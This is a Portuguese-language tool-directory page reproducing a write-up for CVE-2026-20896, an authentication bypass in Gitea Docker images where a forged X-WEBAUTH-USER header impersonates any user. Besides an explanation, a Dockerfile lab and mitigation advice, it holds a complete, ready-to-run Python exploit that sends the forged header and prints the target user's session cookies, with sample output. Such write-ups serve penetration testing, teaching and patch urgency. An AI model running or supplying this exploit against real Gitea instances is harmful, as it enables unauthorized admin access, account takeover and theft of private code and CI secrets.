Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoLabs e Prática
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

Uma explicação e PoC para explorar a Vulnerabilidade de Bypass de Autenticação CVE-2026-20896 no Gitea. Permite roubar tokens de sessão de usuários válidos na instância Gitea.

Ver Repositório
4há 25 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-20896 - Gitea ≤1.26.2 Bypass de Autenticação

1. O que é o Gitea?

O Gitea é uma plataforma de hospedagem Git leve e de código aberto que permite que organizações e desenvolvedores gerenciem repositórios de código-fonte, acompanhem problemas, revisem alterações e colaborem em projetos de software. Ele oferece funcionalidades semelhantes às de plataformas como GitHub e GitLab, mas é projetado para ser auto-hospedado, eficiente e fácil de manter, tornando-o adequado para organizações que desejam maior controle sobre seu código e infraestrutura de desenvolvimento.

2. Explicação da Vulnerabilidade

O CVE-2026-20896 é uma vulnerabilidade crítica de bypass de autenticação na imagem Docker oficial do Gitea, classificada como CVSS 9.8 (Crítica). Ela afeta as imagens Docker do Gitea até a versão 1.26.2, inclusive. O problema subjacente é uma configuração padrão insegura: REVERSE_PROXY_TRUSTED_PROXIES = *, que faz com que o Gitea confie em cabeçalhos de autenticação de proxy reverso originados de qualquer endereço IP. Quando a autenticação por proxy reverso está habilitada, um atacante remoto não autenticado pode, portanto, fornecer um cabeçalho X-WEBAUTH-USER forjado e fazer com que o Gitea trate o atacante como o usuário especificado. Em particular, personificar um administrador pode resultar em acesso administrativo completo sem exigir senha ou token de autenticação válido.

O impacto potencial é grave, porque o acesso administrativo ao Gitea pode expor repositórios privados de código-fonte, credenciais e segredos de CI/CD, e permitir a modificação de repositórios, chaves SSH, webhooks e outras configurações sensíveis à segurança. A vulnerabilidade é especificamente relevante para implantações que usam a imagem Docker afetada em conjunto com autenticação por proxy reverso; não se trata simplesmente de uma falha no mecanismo normal de autenticação por senha do Gitea. O Gitea corrigiu o problema na versão 1.26.3, e os administradores devem atualizar para uma versão corrigida atual e revisar sua configuração de confiança de proxy reverso em vez de confiar na configuração curinga insegura. Relatos também indicaram tentativas de exploração contra instâncias Gitea expostas, tornando a remediação imediata particularmente importante.

CWEs

  • CWE-284 – Controle de Acesso Incorreto.

TTPs

  • T1078 (Contas Válidas)
  • T1190 (Exploração de Aplicação Exposta Publicamente)

3. Criação do Laboratório

Vamos executar um Contêiner Docker usando uma versão vulnerável do Gitea, neste caso a versão 1.26.2, usando o seguinte Dockerfile:

root@kitploit:~
FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

Em seguida, para construir o contêiner Docker, use o seguinte comando:

root@kitploit:~
docker build -t gitea-cve-2026-20896-lab .

Por fim, implante o contêiner Docker usando o seguinte comando:

root@kitploit:~
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. Prova de Conceito

Se soubermos o nome de qualquer usuário na instância do Gitea, podemos personificá-lo abusando do cabeçalho X-WEBAUTH-USER: username; neste laboratório, criamos um usuário chamado jbkira, então vamos capturar um acesso normal não autenticado à página principal do Gitea usando um proxy. Por exemplo, usarei o BurpSuite e colocaremos o cabeçalho:

image

Se encaminharmos essa solicitação com o cabeçalho X-WEBAUTH-USER, quando voltarmos à página do Gitea no navegador veremos que agora estamos logados como o usuário jbkira. Mas nem sempre funciona dessa forma, então criei um Script de PoC que executa o ataque e rouba o cookie de sessão do usuário-alvo, que você pode copiar e colar no seu navegador para obter acesso ao usuário-alvo.

5. Script de PoC Automatizado

PoC automatizado em Python que abusa da falha de Bypass de Autenticação e rouba o cookie de sessão do usuário-alvo:

root@kitploit:~
import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

Exemplo de uso:

root@kitploit:~
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US

6. Mitigação

A mitigação principal para CVE-2026-20896 é atualizar o Gitea da 1.26.2 ou anterior para a 1.26.3 ou posterior, pois a versão 1.26.3 contém a correção de segurança para essa vulnerabilidade. Se não for possível atualizar imediatamente, os administradores devem configurar explicitamente REVERSE_PROXY_TRUSTED_PROXIES para conter apenas o endereço IP ou a sub-rede do proxy reverso autenticador legítimo, em vez de *, e garantir que a porta HTTP do Gitea não possa ser alcançada diretamente por clientes não confiáveis. Isso é particularmente importante quando ENABLE_REVERSE_PROXY_AUTHENTICATION=true, pois a vulnerabilidade permite que uma fonte não confiável injete X-WEBAUTH-USER e personifique usuários existentes.

7. Créditos

Créditos para Ali Mustafa @rz1027 por descobrir e divulgar a vulnerabilidade.

Baixar ferramenta